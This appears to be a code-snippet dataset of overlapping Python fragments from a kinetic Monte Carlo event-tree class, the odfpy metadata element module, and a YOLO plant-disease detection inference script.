"# Author: <NAME> # # Description: # import numpy as",
"2: e_ratio = [e_ratio[i]+e_ratio[i+1] for i in range(0, len(e_ratio), 2)]",
"for e in self.events]) print(e_counts) # create a list of",
"Author: <NAME> # # Description: # import numpy as np",
"from collections import Counter class EventTree: \"\"\" Class maintaining a",
"start with top-level child (k-2) end with level above bottom",
"top-level child (k-2) end with level above bottom (1) j",
"= 2*j else: q -= left j = 2*j +",
"type event_number = np.random.randint(len(self.event_counts[event_type])) # get the event object event",
"def __build_tree(self, e_ratio): self.event_tree = [] # create event ratio",
"in enumerate(self.rates)] print('e_ratio', e_ratio) self.__build_tree(e_ratio) def update_events(self, old_events, new_events): \"\"\"",
"counts e_counts = Counter([e['type'] for e in self.events]) print(e_counts) #",
"Get dictionary of event type counts e_counts = Counter([e['type'] for",
"in range(len(self.event_tree)-2, 0, -1): # left child value left =",
"event type lookup and arrays for choosing specific event. \"\"\"",
"event ratio array level 0 - bottom if len(e_ratio) %",
"bottom level (rates*numbers) self.event_tree.append(np.array(e_ratio)) # create partial summs (iteratively) up",
"1 # bottom level - return selected event type if",
"summs (iteratively) up to the 2nd highest level while len(e_ratio)",
"index of a given type event_number = np.random.randint(len(self.event_counts[event_type])) # get",
"events): self.rates = rates self.events = events self.__setup() def __build_tree(self,",
"-1): # left child value left = self.event_tree[k][j] if q",
"__init__(self, rates, events): self.rates = rates self.events = events self.__setup()",
"import Counter class EventTree: \"\"\" Class maintaining a binary tree",
"# create top level = sum of all rates self.event_tree.append(np.array(sum(e_ratio)))",
"+ 1 # bottom level - return selected event type",
"% 2 == 1: e_ratio.extend([0.0]) # create the bottom level",
"# create event ratio array level 0 - bottom if",
"end with level above bottom (1) j = 0 for",
"# bottom level - return selected event type if q",
"for e in self.events: self.event_counts[e['type']].append(e) e_ratio = [e_counts.get(t, 0)*r for",
"# generate a random number [0,Rs) q = self.Rs*np.random.random() #",
"q < self.event_tree[0][j]: event_type = self.events[j] else: event_type = self.events[j+1]",
"def __init__(self, rates, events): self.rates = rates self.events = events",
"= [e_counts.get(t, 0)*r for t, r in enumerate(self.rates)] print('e_ratio', e_ratio)",
"e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) # create top level = sum of all",
"select a random event index of a given type event_number",
"left j = 2*j + 1 # bottom level -",
"find_event(self): \"\"\"Find and return an event\"\"\" # generate a random",
"- bottom if len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) #",
"self.__build_tree(e_ratio) def update_events(self, old_events, new_events): \"\"\" Update tree: remove old",
"given type event_number = np.random.randint(len(self.event_counts[event_type])) # get the event object",
"(iteratively) up to the 2nd highest level while len(e_ratio) >",
"while len(e_ratio) > 2: e_ratio = [e_ratio[i]+e_ratio[i+1] for i in",
"2 == 1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) # create top level =",
"= 2*j + 1 # bottom level - return selected",
"e in self.events: self.event_counts[e['type']].append(e) e_ratio = [e_counts.get(t, 0)*r for t,",
"[e_counts.get(t, 0)*r for t, r in enumerate(self.rates)] print('e_ratio', e_ratio) self.__build_tree(e_ratio)",
"through levels (top->down) # start with top-level child (k-2) end",
"np.random.randint(len(self.event_counts[event_type])) # get the event object event = event_counts[event_type][event_number] return",
"to the 2nd highest level while len(e_ratio) > 2: e_ratio",
"remove old events and add new events \"\"\" pass def",
"2)] if len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) #",
"= [[] for _ in range(len(self.rates))] for e in self.events:",
"all rates self.event_tree.append(np.array(sum(e_ratio))) def __setup(self): # Get dictionary of event",
"2nd highest level while len(e_ratio) > 2: e_ratio = [e_ratio[i]+e_ratio[i+1]",
"range(len(self.rates))] for e in self.events: self.event_counts[e['type']].append(e) e_ratio = [e_counts.get(t, 0)*r",
"level above bottom (1) j = 0 for k in",
"cycle through levels (top->down) # start with top-level child (k-2)",
"with level above bottom (1) j = 0 for k",
"e_ratio.extend([0.0]) # create the bottom level (rates*numbers) self.event_tree.append(np.array(e_ratio)) # create",
"k in range(len(self.event_tree)-2, 0, -1): # left child value left",
"# Date: 2018/08/03 09:07 # Author: <NAME> # # Description:",
"lookup and arrays for choosing specific event. \"\"\" def __init__(self,",
"\"\"\" def __init__(self, rates, events): self.rates = rates self.events =",
"sum of all rates self.event_tree.append(np.array(sum(e_ratio))) def __setup(self): # Get dictionary",
"arrays for choosing specific event. \"\"\" def __init__(self, rates, events):",
"- return selected event type if q < self.event_tree[0][j]: event_type",
"0 for k in range(len(self.event_tree)-2, 0, -1): # left child",
"2*j else: q -= left j = 2*j + 1",
"= self.event_tree[k][j] if q < left: j = 2*j else:",
"[[] for _ in range(len(self.rates))] for e in self.events: self.event_counts[e['type']].append(e)",
"random number [0,Rs) q = self.Rs*np.random.random() # cycle through levels",
"< left: j = 2*j else: q -= left j",
"level 0 - bottom if len(e_ratio) % 2 == 1:",
"= Counter([e['type'] for e in self.events]) print(e_counts) # create a",
"q < left: j = 2*j else: q -= left",
"2018/08/03 09:07 # Author: <NAME> # # Description: # import",
"< self.event_tree[0][j]: event_type = self.events[j] else: event_type = self.events[j+1] #",
"event\"\"\" # generate a random number [0,Rs) q = self.Rs*np.random.random()",
"e_ratio): self.event_tree = [] # create event ratio array level",
"e_ratio = [e_ratio[i]+e_ratio[i+1] for i in range(0, len(e_ratio), 2)] if",
"== 1: e_ratio.extend([0.0]) # create the bottom level (rates*numbers) self.event_tree.append(np.array(e_ratio))",
"09:07 # Author: <NAME> # # Description: # import numpy",
"binary tree for random event type lookup and arrays for",
"len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) # create the bottom",
"__setup(self): # Get dictionary of event type counts e_counts =",
"len(e_ratio) > 2: e_ratio = [e_ratio[i]+e_ratio[i+1] for i in range(0,",
"= self.events[j+1] # select a random event index of a",
"of a given type event_number = np.random.randint(len(self.event_counts[event_type])) # get the",
"# get the event object event = event_counts[event_type][event_number] return event",
"Date: 2018/08/03 09:07 # Author: <NAME> # # Description: #",
"\"\"\" pass def find_event(self): \"\"\"Find and return an event\"\"\" #",
"0, -1): # left child value left = self.event_tree[k][j] if",
"class EventTree: \"\"\" Class maintaining a binary tree for random",
"# create a list of events based on event types",
"event type if q < self.event_tree[0][j]: event_type = self.events[j] else:",
"import numpy as np from collections import Counter class EventTree:",
"level - return selected event type if q < self.event_tree[0][j]:",
"= [] # create event ratio array level 0 -",
"update_events(self, old_events, new_events): \"\"\" Update tree: remove old events and",
"self.Rs*np.random.random() # cycle through levels (top->down) # start with top-level",
"and add new events \"\"\" pass def find_event(self): \"\"\"Find and",
"create event ratio array level 0 - bottom if len(e_ratio)",
"the bottom level (rates*numbers) self.event_tree.append(np.array(e_ratio)) # create partial summs (iteratively)",
"if len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) # create the",
"for k in range(len(self.event_tree)-2, 0, -1): # left child value",
"in self.events]) print(e_counts) # create a list of events based",
"\"\"\" Class maintaining a binary tree for random event type",
"for t, r in enumerate(self.rates)] print('e_ratio', e_ratio) self.__build_tree(e_ratio) def update_events(self,",
"= 0 for k in range(len(self.event_tree)-2, 0, -1): # left",
"create the bottom level (rates*numbers) self.event_tree.append(np.array(e_ratio)) # create partial summs",
"rates, events): self.rates = rates self.events = events self.__setup() def",
"random event type lookup and arrays for choosing specific event.",
"type lookup and arrays for choosing specific event. \"\"\" def",
"# create partial summs (iteratively) up to the 2nd highest",
"len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) # create top",
"__build_tree(self, e_ratio): self.event_tree = [] # create event ratio array",
"range(0, len(e_ratio), 2)] if len(e_ratio) % 2 == 1: e_ratio.extend([0.0])",
"Update tree: remove old events and add new events \"\"\"",
"events and add new events \"\"\" pass def find_event(self): \"\"\"Find",
"EventTree: \"\"\" Class maintaining a binary tree for random event",
"e_ratio) self.__build_tree(e_ratio) def update_events(self, old_events, new_events): \"\"\" Update tree: remove",
"(top->down) # start with top-level child (k-2) end with level",
"for _ in range(len(self.rates))] for e in self.events: self.event_counts[e['type']].append(e) e_ratio",
"old events and add new events \"\"\" pass def find_event(self):",
"value left = self.event_tree[k][j] if q < left: j =",
"kmc_pld.py # Date: 2018/08/03 09:07 # Author: <NAME> # #",
"0 - bottom if len(e_ratio) % 2 == 1: e_ratio.extend([0.0])",
"(1) j = 0 for k in range(len(self.event_tree)-2, 0, -1):",
"# select a random event index of a given type",
"self.event_counts[e['type']].append(e) e_ratio = [e_counts.get(t, 0)*r for t, r in enumerate(self.rates)]",
"bottom level - return selected event type if q <",
"event_type = self.events[j+1] # select a random event index of",
"= events self.__setup() def __build_tree(self, e_ratio): self.event_tree = [] #",
"for random event type lookup and arrays for choosing specific",
"on event types self.event_counts = [[] for _ in range(len(self.rates))]",
"pass def find_event(self): \"\"\"Find and return an event\"\"\" # generate",
"create a list of events based on event types self.event_counts",
"= rates self.events = events self.__setup() def __build_tree(self, e_ratio): self.event_tree",
"self.event_tree.append(np.array(e_ratio)) # create partial summs (iteratively) up to the 2nd",
"and arrays for choosing specific event. \"\"\" def __init__(self, rates,",
"np from collections import Counter class EventTree: \"\"\" Class maintaining",
"bottom if len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) # create",
"= self.events[j] else: event_type = self.events[j+1] # select a random",
"Counter class EventTree: \"\"\" Class maintaining a binary tree for",
"self.__setup() def __build_tree(self, e_ratio): self.event_tree = [] # create event",
"type counts e_counts = Counter([e['type'] for e in self.events]) print(e_counts)",
"e_ratio = [e_counts.get(t, 0)*r for t, r in enumerate(self.rates)] print('e_ratio',",
"event_number = np.random.randint(len(self.event_counts[event_type])) # get the event object event =",
"event index of a given type event_number = np.random.randint(len(self.event_counts[event_type])) #",
"e in self.events]) print(e_counts) # create a list of events",
"left: j = 2*j else: q -= left j =",
"create top level = sum of all rates self.event_tree.append(np.array(sum(e_ratio))) def",
"top level = sum of all rates self.event_tree.append(np.array(sum(e_ratio))) def __setup(self):",
"new_events): \"\"\" Update tree: remove old events and add new",
"#!//anaconda/envs/py36/bin/python # # File name: kmc_pld.py # Date: 2018/08/03 09:07",
"tree: remove old events and add new events \"\"\" pass",
"bottom (1) j = 0 for k in range(len(self.event_tree)-2, 0,",
"rates self.events = events self.__setup() def __build_tree(self, e_ratio): self.event_tree =",
"for i in range(0, len(e_ratio), 2)] if len(e_ratio) % 2"
] |
[
"if not, write to the Free Software # Foundation, Inc.,",
"return Element(qname = (METANS,'print-date'), **args) def PrintedBy(**args): return Element(qname =",
"(METANS,'print-date'), **args) def PrintedBy(**args): return Element(qname = (METANS,'printed-by'), **args) def",
"Element(qname = (METANS,'creation-date'), **args) def DateString(**args): return Element(qname = (METANS,'date-string'),",
"Element(qname = (METANS,'date-string'), **args) def DocumentStatistic(**args): return Element(qname = (METANS,'document-statistic'),",
"'simple') return Element(qname = (METANS,'template'), **args) def UserDefined(**args): return Element(qname",
"**args) def PrintDate(**args): return Element(qname = (METANS,'print-date'), **args) def PrintedBy(**args):",
"# # Contributor(s): # from odf.namespaces import METANS from odf.element",
"Element(qname = (METANS,'template'), **args) def UserDefined(**args): return Element(qname = (METANS,'user-defined'),",
"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU",
"= (METANS,'auto-reload'), **args) def CreationDate(**args): return Element(qname = (METANS,'creation-date'), **args)",
"odf.namespaces import METANS from odf.element import Element # Autogenerated def",
"Foundation; either # version 2.1 of the License, or (at",
"published by the Free Software Foundation; either # version 2.1",
"WITHOUT ANY WARRANTY; without even the implied warranty of #",
"Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # #",
"return Element(qname = (METANS,'document-statistic'), **args) def EditingCycles(**args): return Element(qname =",
"return Element(qname = (METANS,'auto-reload'), **args) def CreationDate(**args): return Element(qname =",
"Element # Autogenerated def AutoReload(**args): return Element(qname = (METANS,'auto-reload'), **args)",
"PrintedBy(**args): return Element(qname = (METANS,'printed-by'), **args) def Template(**args): args.setdefault('type', 'simple')",
"Boston, MA 02110-1301 USA # # Contributor(s): # from odf.namespaces",
"= (METANS,'keyword'), **args) def PrintDate(**args): return Element(qname = (METANS,'print-date'), **args)",
"library; if not, write to the Free Software # Foundation,",
"return Element(qname = (METANS,'initial-creator'), **args) def Keyword(**args): return Element(qname =",
"FOR A PARTICULAR PURPOSE. See the GNU # Lesser General",
"**args) def Template(**args): args.setdefault('type', 'simple') return Element(qname = (METANS,'template'), **args)",
"This library is free software; you can redistribute it and/or",
"Floor, Boston, MA 02110-1301 USA # # Contributor(s): # from",
"(METANS,'document-statistic'), **args) def EditingCycles(**args): return Element(qname = (METANS,'editing-cycles'), **args) def",
"return Element(qname = (METANS,'creation-date'), **args) def DateString(**args): return Element(qname =",
"# # This library is distributed in the hope that",
"# modify it under the terms of the GNU Lesser",
"Element(qname = (METANS,'printed-by'), **args) def Template(**args): args.setdefault('type', 'simple') return Element(qname",
"# This library is distributed in the hope that it",
"Autogenerated def AutoReload(**args): return Element(qname = (METANS,'auto-reload'), **args) def CreationDate(**args):",
"**args) def DocumentStatistic(**args): return Element(qname = (METANS,'document-statistic'), **args) def EditingCycles(**args):",
"= (METANS,'generator'), **args) def HyperlinkBehaviour(**args): return Element(qname = (METANS,'hyperlink-behaviour'), **args)",
"# version 2.1 of the License, or (at your option)",
"to the Free Software # Foundation, Inc., 51 Franklin Street,",
"PrintDate(**args): return Element(qname = (METANS,'print-date'), **args) def PrintedBy(**args): return Element(qname",
"**args) def CreationDate(**args): return Element(qname = (METANS,'creation-date'), **args) def DateString(**args):",
"of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See",
"Element(qname = (METANS,'document-statistic'), **args) def EditingCycles(**args): return Element(qname = (METANS,'editing-cycles'),",
"as published by the Free Software Foundation; either # version",
"for more details. # # You should have received a",
"warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.",
"CreationDate(**args): return Element(qname = (METANS,'creation-date'), **args) def DateString(**args): return Element(qname",
"EditingCycles(**args): return Element(qname = (METANS,'editing-cycles'), **args) def EditingDuration(**args): return Element(qname",
"License along with this library; if not, write to the",
"version 2.1 of the License, or (at your option) any",
"it under the terms of the GNU Lesser General Public",
"InitialCreator(**args): return Element(qname = (METANS,'initial-creator'), **args) def Keyword(**args): return Element(qname",
"Software Foundation; either # version 2.1 of the License, or",
"either # version 2.1 of the License, or (at your",
"return Element(qname = (METANS,'generator'), **args) def HyperlinkBehaviour(**args): return Element(qname =",
"odf.element import Element # Autogenerated def AutoReload(**args): return Element(qname =",
"GNU Lesser General Public # License as published by the",
"USA # # Contributor(s): # from odf.namespaces import METANS from",
"it and/or # modify it under the terms of the",
"a copy of the GNU Lesser General Public # License",
"**args) def PrintedBy(**args): return Element(qname = (METANS,'printed-by'), **args) def Template(**args):",
"version. # # This library is distributed in the hope",
"free software; you can redistribute it and/or # modify it",
"that it will be useful, # but WITHOUT ANY WARRANTY;",
"but WITHOUT ANY WARRANTY; without even the implied warranty of",
"Element(qname = (METANS,'generator'), **args) def HyperlinkBehaviour(**args): return Element(qname = (METANS,'hyperlink-behaviour'),",
"= (METANS,'template'), **args) def UserDefined(**args): return Element(qname = (METANS,'user-defined'), **args)",
"FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser",
"copy of the GNU Lesser General Public # License along",
"def PrintedBy(**args): return Element(qname = (METANS,'printed-by'), **args) def Template(**args): args.setdefault('type',",
"you can redistribute it and/or # modify it under the",
"-*- coding: utf-8 -*- # Copyright (C) 2006-2007 <NAME>, European",
"= (METANS,'editing-cycles'), **args) def EditingDuration(**args): return Element(qname = (METANS,'editing-duration'), **args)",
"Public License for more details. # # You should have",
"This library is distributed in the hope that it will",
"is free software; you can redistribute it and/or # modify",
"utf-8 -*- # Copyright (C) 2006-2007 <NAME>, European Environment Agency",
"DocumentStatistic(**args): return Element(qname = (METANS,'document-statistic'), **args) def EditingCycles(**args): return Element(qname",
"ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY",
"more details. # # You should have received a copy",
"= (METANS,'printed-by'), **args) def Template(**args): args.setdefault('type', 'simple') return Element(qname =",
"write to the Free Software # Foundation, Inc., 51 Franklin",
"the Free Software Foundation; either # version 2.1 of the",
"return Element(qname = (METANS,'date-string'), **args) def DocumentStatistic(**args): return Element(qname =",
"-*- # Copyright (C) 2006-2007 <NAME>, European Environment Agency #",
"be useful, # but WITHOUT ANY WARRANTY; without even the",
"A PARTICULAR PURPOSE. See the GNU # Lesser General Public",
"any later version. # # This library is distributed in",
"and/or # modify it under the terms of the GNU",
"the GNU Lesser General Public # License as published by",
"option) any later version. # # This library is distributed",
"received a copy of the GNU Lesser General Public #",
"Public # License along with this library; if not, write",
"= (METANS,'creation-date'), **args) def DateString(**args): return Element(qname = (METANS,'date-string'), **args)",
"Template(**args): args.setdefault('type', 'simple') return Element(qname = (METANS,'template'), **args) def UserDefined(**args):",
"License, or (at your option) any later version. # #",
"def Generator(**args): return Element(qname = (METANS,'generator'), **args) def HyperlinkBehaviour(**args): return",
"under the terms of the GNU Lesser General Public #",
"the hope that it will be useful, # but WITHOUT",
"(METANS,'printed-by'), **args) def Template(**args): args.setdefault('type', 'simple') return Element(qname = (METANS,'template'),",
"**args) def Generator(**args): return Element(qname = (METANS,'generator'), **args) def HyperlinkBehaviour(**args):",
"<NAME>, European Environment Agency # # This library is free",
"coding: utf-8 -*- # Copyright (C) 2006-2007 <NAME>, European Environment",
"args.setdefault('type', 'simple') return Element(qname = (METANS,'template'), **args) def UserDefined(**args): return",
"# This library is free software; you can redistribute it",
"PARTICULAR PURPOSE. See the GNU # Lesser General Public License",
"METANS from odf.element import Element # Autogenerated def AutoReload(**args): return",
"= (METANS,'initial-creator'), **args) def Keyword(**args): return Element(qname = (METANS,'keyword'), **args)",
"# Copyright (C) 2006-2007 <NAME>, European Environment Agency # #",
"this library; if not, write to the Free Software #",
"(METANS,'auto-reload'), **args) def CreationDate(**args): return Element(qname = (METANS,'creation-date'), **args) def",
"def CreationDate(**args): return Element(qname = (METANS,'creation-date'), **args) def DateString(**args): return",
"from odf.namespaces import METANS from odf.element import Element # Autogenerated",
"**args) def HyperlinkBehaviour(**args): return Element(qname = (METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args):",
"General Public License for more details. # # You should",
"return Element(qname = (METANS,'template'), **args) def UserDefined(**args): return Element(qname =",
"General Public # License along with this library; if not,",
"without even the implied warranty of # MERCHANTABILITY or FITNESS",
"Element(qname = (METANS,'editing-duration'), **args) def Generator(**args): return Element(qname = (METANS,'generator'),",
"should have received a copy of the GNU Lesser General",
"**args) def Keyword(**args): return Element(qname = (METANS,'keyword'), **args) def PrintDate(**args):",
"GNU # Lesser General Public License for more details. #",
"def DocumentStatistic(**args): return Element(qname = (METANS,'document-statistic'), **args) def EditingCycles(**args): return",
"AutoReload(**args): return Element(qname = (METANS,'auto-reload'), **args) def CreationDate(**args): return Element(qname",
"2006-2007 <NAME>, European Environment Agency # # This library is",
"software; you can redistribute it and/or # modify it under",
"or FITNESS FOR A PARTICULAR PURPOSE. See the GNU #",
"= (METANS,'editing-duration'), **args) def Generator(**args): return Element(qname = (METANS,'generator'), **args)",
"Street, Fifth Floor, Boston, MA 02110-1301 USA # # Contributor(s):",
"Element(qname = (METANS,'editing-cycles'), **args) def EditingDuration(**args): return Element(qname = (METANS,'editing-duration'),",
"Element(qname = (METANS,'print-date'), **args) def PrintedBy(**args): return Element(qname = (METANS,'printed-by'),",
"even the implied warranty of # MERCHANTABILITY or FITNESS FOR",
"of the GNU Lesser General Public # License as published",
"later version. # # This library is distributed in the",
"51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA #",
"import METANS from odf.element import Element # Autogenerated def AutoReload(**args):",
"can redistribute it and/or # modify it under the terms",
"(METANS,'initial-creator'), **args) def Keyword(**args): return Element(qname = (METANS,'keyword'), **args) def",
"= (METANS,'document-statistic'), **args) def EditingCycles(**args): return Element(qname = (METANS,'editing-cycles'), **args)",
"the implied warranty of # MERCHANTABILITY or FITNESS FOR A",
"PURPOSE. See the GNU # Lesser General Public License for",
"# # This library is free software; you can redistribute",
"return Element(qname = (METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args): return Element(qname =",
"You should have received a copy of the GNU Lesser",
"**args) def EditingDuration(**args): return Element(qname = (METANS,'editing-duration'), **args) def Generator(**args):",
"# Lesser General Public License for more details. # #",
"# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA",
"02110-1301 USA # # Contributor(s): # from odf.namespaces import METANS",
"Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,",
"EditingDuration(**args): return Element(qname = (METANS,'editing-duration'), **args) def Generator(**args): return Element(qname",
"(METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args): return Element(qname = (METANS,'initial-creator'), **args) def",
"# -*- coding: utf-8 -*- # Copyright (C) 2006-2007 <NAME>,",
"**args) def InitialCreator(**args): return Element(qname = (METANS,'initial-creator'), **args) def Keyword(**args):",
"return Element(qname = (METANS,'printed-by'), **args) def Template(**args): args.setdefault('type', 'simple') return",
"DateString(**args): return Element(qname = (METANS,'date-string'), **args) def DocumentStatistic(**args): return Element(qname",
"or (at your option) any later version. # # This",
"European Environment Agency # # This library is free software;",
"# Autogenerated def AutoReload(**args): return Element(qname = (METANS,'auto-reload'), **args) def",
"# but WITHOUT ANY WARRANTY; without even the implied warranty",
"# License as published by the Free Software Foundation; either",
"def EditingCycles(**args): return Element(qname = (METANS,'editing-cycles'), **args) def EditingDuration(**args): return",
"return Element(qname = (METANS,'keyword'), **args) def PrintDate(**args): return Element(qname =",
"Public # License as published by the Free Software Foundation;",
"Lesser General Public # License as published by the Free",
"Free Software Foundation; either # version 2.1 of the License,",
"distributed in the hope that it will be useful, #",
"import Element # Autogenerated def AutoReload(**args): return Element(qname = (METANS,'auto-reload'),",
"implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR",
"Fifth Floor, Boston, MA 02110-1301 USA # # Contributor(s): #",
"(METANS,'editing-cycles'), **args) def EditingDuration(**args): return Element(qname = (METANS,'editing-duration'), **args) def",
"= (METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args): return Element(qname = (METANS,'initial-creator'), **args)",
"Element(qname = (METANS,'initial-creator'), **args) def Keyword(**args): return Element(qname = (METANS,'keyword'),",
"Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor,",
"(METANS,'generator'), **args) def HyperlinkBehaviour(**args): return Element(qname = (METANS,'hyperlink-behaviour'), **args) def",
"= (METANS,'print-date'), **args) def PrintedBy(**args): return Element(qname = (METANS,'printed-by'), **args)",
"of the License, or (at your option) any later version.",
"have received a copy of the GNU Lesser General Public",
"Environment Agency # # This library is free software; you",
"of the GNU Lesser General Public # License along with",
"def HyperlinkBehaviour(**args): return Element(qname = (METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args): return",
"def InitialCreator(**args): return Element(qname = (METANS,'initial-creator'), **args) def Keyword(**args): return",
"License as published by the Free Software Foundation; either #",
"in the hope that it will be useful, # but",
"MA 02110-1301 USA # # Contributor(s): # from odf.namespaces import",
"your option) any later version. # # This library is",
"General Public # License as published by the Free Software",
"= (METANS,'date-string'), **args) def DocumentStatistic(**args): return Element(qname = (METANS,'document-statistic'), **args)",
"with this library; if not, write to the Free Software",
"def Keyword(**args): return Element(qname = (METANS,'keyword'), **args) def PrintDate(**args): return",
"(C) 2006-2007 <NAME>, European Environment Agency # # This library",
"it will be useful, # but WITHOUT ANY WARRANTY; without",
"Element(qname = (METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args): return Element(qname = (METANS,'initial-creator'),",
"License for more details. # # You should have received",
"redistribute it and/or # modify it under the terms of",
"GNU Lesser General Public # License along with this library;",
"useful, # but WITHOUT ANY WARRANTY; without even the implied",
"Agency # # This library is free software; you can",
"Generator(**args): return Element(qname = (METANS,'generator'), **args) def HyperlinkBehaviour(**args): return Element(qname",
"def Template(**args): args.setdefault('type', 'simple') return Element(qname = (METANS,'template'), **args) def",
"# License along with this library; if not, write to",
"the GNU Lesser General Public # License along with this",
"(METANS,'creation-date'), **args) def DateString(**args): return Element(qname = (METANS,'date-string'), **args) def",
"**args) def EditingCycles(**args): return Element(qname = (METANS,'editing-cycles'), **args) def EditingDuration(**args):",
"# Contributor(s): # from odf.namespaces import METANS from odf.element import",
"Contributor(s): # from odf.namespaces import METANS from odf.element import Element",
"(at your option) any later version. # # This library",
"return Element(qname = (METANS,'editing-duration'), **args) def Generator(**args): return Element(qname =",
"Element(qname = (METANS,'auto-reload'), **args) def CreationDate(**args): return Element(qname = (METANS,'creation-date'),",
"**args) def DateString(**args): return Element(qname = (METANS,'date-string'), **args) def DocumentStatistic(**args):",
"terms of the GNU Lesser General Public # License as",
"hope that it will be useful, # but WITHOUT ANY",
"Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301",
"def DateString(**args): return Element(qname = (METANS,'date-string'), **args) def DocumentStatistic(**args): return",
"return Element(qname = (METANS,'editing-cycles'), **args) def EditingDuration(**args): return Element(qname =",
"def EditingDuration(**args): return Element(qname = (METANS,'editing-duration'), **args) def Generator(**args): return",
"(METANS,'date-string'), **args) def DocumentStatistic(**args): return Element(qname = (METANS,'document-statistic'), **args) def",
"Copyright (C) 2006-2007 <NAME>, European Environment Agency # # This",
"def PrintDate(**args): return Element(qname = (METANS,'print-date'), **args) def PrintedBy(**args): return",
"WARRANTY; without even the implied warranty of # MERCHANTABILITY or",
"# You should have received a copy of the GNU",
"Element(qname = (METANS,'keyword'), **args) def PrintDate(**args): return Element(qname = (METANS,'print-date'),",
"by the Free Software Foundation; either # version 2.1 of",
"along with this library; if not, write to the Free",
"library is distributed in the hope that it will be",
"(METANS,'keyword'), **args) def PrintDate(**args): return Element(qname = (METANS,'print-date'), **args) def",
"(METANS,'editing-duration'), **args) def Generator(**args): return Element(qname = (METANS,'generator'), **args) def",
"Lesser General Public License for more details. # # You",
"# from odf.namespaces import METANS from odf.element import Element #",
"modify it under the terms of the GNU Lesser General",
"the terms of the GNU Lesser General Public # License",
"the License, or (at your option) any later version. #",
"Keyword(**args): return Element(qname = (METANS,'keyword'), **args) def PrintDate(**args): return Element(qname",
"Lesser General Public # License along with this library; if",
"See the GNU # Lesser General Public License for more",
"HyperlinkBehaviour(**args): return Element(qname = (METANS,'hyperlink-behaviour'), **args) def InitialCreator(**args): return Element(qname",
"def AutoReload(**args): return Element(qname = (METANS,'auto-reload'), **args) def CreationDate(**args): return",
"is distributed in the hope that it will be useful,",
"the Free Software # Foundation, Inc., 51 Franklin Street, Fifth",
"details. # # You should have received a copy of",
"not, write to the Free Software # Foundation, Inc., 51",
"library is free software; you can redistribute it and/or #",
"from odf.element import Element # Autogenerated def AutoReload(**args): return Element(qname",
"# # You should have received a copy of the",
"the GNU # Lesser General Public License for more details.",
"# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the",
"Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA",
"2.1 of the License, or (at your option) any later",
"will be useful, # but WITHOUT ANY WARRANTY; without even"
] |
[
"boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax = np.zeros((boxes.shape[0], 4)) #",
"1)) class_ids = np.zeros((boxes.shape[0], 1)) # assign coords_minmax = boxes[:,0:4]",
"for f in tqdm(filelist, desc = 'Deleting old files fro",
"= [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"] # deleting files in op_dir",
"conf_thres, iou_thres, classes=classes, agnostic=True) if pred[0] is not None: boxes",
"select_device('') half = device.type != 'cpu' # half precision only",
"'cpu') print('Using device:', device) print() #Additional Info when using cuda",
"brackets bounding_box = bounding_box.replace(\"'\",'')# removing inverted commas around class name",
"= attempt_load(weights, map_location=device) # load FP32 model imgsz = check_img_size(imgsz,",
"the inverted commas \"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind = ' '.join(map(str, all_bounding_boxnind))#",
"precision only supported on CUDA def prepare_input(img1, img_size=416, half=True): img2",
"os.path.basename(img_path),img1.shape) print('\\nClass_name ', '| B_box Coords ', '| Confidence') print('_'*50)",
"file name name = os.path.basename(path)[:-4] # Inference t1 = time_synchronized()",
"trange(len(img_paths)): path = img_paths[i] img1 = cv2.imread(path) img1 = cv2.cvtColor(img1,",
"\"a+\") as file_object: # Move read cursor to the start",
"img2 = img2[np.newaxis, ...] img2 = torch.from_numpy(img2).to(device) # torch image",
"', '| B_box Coords ', '| Confidence') print('_'*50) for k",
"not empty then append '\\n' data = file_object.read(100) if len(data)",
"img_size=416, half=True): img2 = cv2.resize(img1, (img_size, img_size)) # W x",
"op = draw_boxes(img1, confd, t, det_classes, class_names, order='xy_minmax', analysis=False) plt.imshow(op)",
"then append '\\n' data = file_object.read(100) if len(data) > 0",
"numpy as np import os, cv2 from tqdm import tqdm,",
"\"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"] # deleting files in op_dir filelist =",
"not half else img2.float() img2 /= 255.0 return img2 #%%",
"= coords_xyminmax[i][2] bounding_box[5] = coords_xyminmax[i][3] bounding_box = str(bounding_box)[1:-1]# remove square",
"\"spotting_disease\", \"snails_and_slugs\"] # deleting files in op_dir filelist = [",
"as plt import matplotlib as mpl mpl.rcParams['figure.dpi'] = 300 img_paths",
"tqdm(filelist, desc = 'Deleting old files fro directory'): os.remove(os.path.join(out, f))",
"cv2.imread(path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _ = img1.shape",
"x W img2 = img2.half() if not half else img2.float()",
